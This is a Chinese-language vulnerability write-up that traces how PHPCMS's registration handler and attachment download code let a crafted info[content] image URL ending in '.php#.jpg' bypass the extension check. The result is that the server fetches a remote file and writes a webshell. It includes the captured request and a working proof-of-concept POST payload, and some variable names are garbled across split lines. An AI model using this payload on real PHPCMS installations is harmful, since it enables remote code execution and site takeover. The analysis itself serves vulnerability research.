一、路径
漏洞分析:/index.php?m=member&c=index&a=register&siteid=1 前台注册页面处
路径: /phpcms/modules/member/index.php
注册处抓包:
POST /phpcms/install_package/index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1
siteid=1&modelid=10&username=123456&password=123456&pwdconfirm=123456&email=123456%40qq.com&nickname=123456&info%5Bbirthday%5D=2022-04-28&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=
二、分析
正常流程分析:
函数定位:register,代码做验证处理
接着往下走,有验证处理模块:
验证完毕没有重复后,接下来做获取会员信息的模块:传入info值
关键点:$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
根据下方get函数定位追踪:——> member_input.class.php
观察fields函数,追踪赋值,回到get函数,得知get是做了一个校验的操作。
校验结束之后,将表单插入数据库中:
观察数据库:
10——>birthday生日 11——>content内容
POC:
siteid=1&modelid=11&username=NSdemon&password=NSdemon123&pwdconfirm=123456&email=NSdemon@qq.com&info[content]=<img src=http://url/1.txt?.php#.jpg>& &dosubmit=1&protocol=
恶意代码存在info中
通过了array_map进行处理,追踪array_map分析:
new_html_special_chars做防XSS的过滤,对尖括号进行转义的方式。
往下走传入get中,$data最后传入value中,追踪value
截取长度的处理函数:
做了一个数据查询的处理:
处理完modelid函数后,追踪editor
$value = $this->attachment->download(‘content’,
v
a
l
u
e
,
value,
value,watermark_enable);
对传入的值做了一个处理操作,追踪下文: phpcms/libs/classes/attachment.class.php
做了一个后缀处理:gif|jpg|jpeg|bmp|png
s
t
r
i
n
g
=
n
e
w
s
t
r
i
p
s
l
a
s
h
e
s
(
string = new_stripslashes(
string=newstripslashes(value);做了一个new_stripslashes处理
追踪查看: phpcms/libs/functions/global.func.php
做防止恶意代码
if(!preg_match_all(“/(href|src)=([|']?)([^ '>]+($ext))\2/i”, $string, $matches)) return $value; 做了正则处理,来校验后缀。
处理完后,将进入matches做处理:
用fillurl做了处理,追踪查看分析:/phpcms/libs/classes/attachment.class.php
核心问题代码:去掉了#处理,去掉了poc后的#.jpg
通过Okurl进行拼接,将原本的.php拼回给了url
最后将马加载去了服务器地址中,由此写入webshell。